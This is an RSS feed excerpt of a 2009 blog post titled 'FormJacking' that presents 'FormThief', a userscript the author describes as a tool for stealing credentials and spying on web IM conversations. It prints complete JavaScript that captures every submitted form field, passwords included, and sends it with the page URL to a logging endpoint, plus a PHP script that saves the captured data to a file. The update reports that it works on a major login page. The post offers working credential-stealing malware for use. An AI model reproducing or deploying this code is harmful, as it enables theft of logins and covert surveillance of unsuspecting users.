		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FormJacking</title>
		<link>http://insanesecurity.info/blog/formjacking</link>
		<comments>http://insanesecurity.info/blog/formjacking#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:08:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=38</guid>
		<description><![CDATA[With all the buzz around Clickjacking I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that cool, would it? Last userscript I wrote was a keylogger, which seems that a lot of [...]]]></description>
			<content:encoded><![CDATA[<p>With all the buzz around <a href="http://insanesecurity.info/2009/02/1-2-3-clickjacking/">Clickjacking </a> I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that <q>cool</q>, would it?</p>
<p><span id="more-38"></span><br />
Last <a href="http://insanesecurity.info/tag/userscript/">userscript</a> I wrote was a <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">keylogger</a>, which seems that a lot of people have liked, and which for the most common of its use was an overkill.</p>
<p>Why overkill? Because most of those (if not all) who search for a keylogger will use it for stealing credentials. That was also my reason for writing it in the first place, although recently use it for spying web based IM conversations >:). Also may have been circumvented by most common anti-keylogger tricks, like on-screen keyboards.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">FormThief</a> (that&#8217;s how I named the userscript) even if not perfect, a.k.a. authentication fails in places where forms have an associated an action on the submit event (such example may be <a href="http://login.yahoo.com">login.yahoo.com</a>) will be quite enough for most of the cases you&#8217;ll want it. The script has the following code:</p>
<pre name="code" class="javascript">
(function(){
    var num = document.forms.length;
    for(var i=0;i&lt;num;i++) {
        unsafeWindow.document.forms[i].addEventListener('submit', function(e) {
            var form = e.currentTarget;
            var num = form.length;
            var send = '?';
            for(var i=0;i&lt;num;i++) {
                send += form[i].name + '=';
                send += form[i].value + '&#038;';
            }
            send += 'ThiefedURL=' + unsafeWindow.location;
            new Image().src = 'http://127.0.0.1/fj.php'+encodeURI(send);
            return true;
        }, true);
    }
})()
</pre>
<p><del><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">view/install</a></del></p>
<p>As in the <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">junkylogger</a> have used unsafeWindow for accessing the content, and the Image object to send the <q>logged/hijacked</q> data. As for the logging php file you could take the same approach as I did:</p>
<pre name="code" class="php">

$str = "\n\n";
foreach($_GET as $key=>$val) {
    $str .= $key.'['.$val.']'."\n";
}

$fp = fopen('data.txt', 'a');
fwrite($fp, $str);
fclose($fp);
</pre>
<p>Nothing new in the concept, just wanted to share it with you because I felt that it is a good addition to the <a href="http://insanesecurity.info/tag/userscript/">Userscript</a> keylogger, completing it where it could have failed and vice versa. With well crafted <a href="http://diveintogreasemonkey.org/helloworld/metadata.html">@include, @exclude metadata</a>&#8217;s the two userscripts can make wonders, at least for me ;) </p>
<p><strong>UPDATE:</strong> modified the userscript, attached the function as kl suggested, know it works in any page (even login.yahoo.com). Also now appending the ThiefedURL parameter to see in the logs which form was hijacked.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/formjacking/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
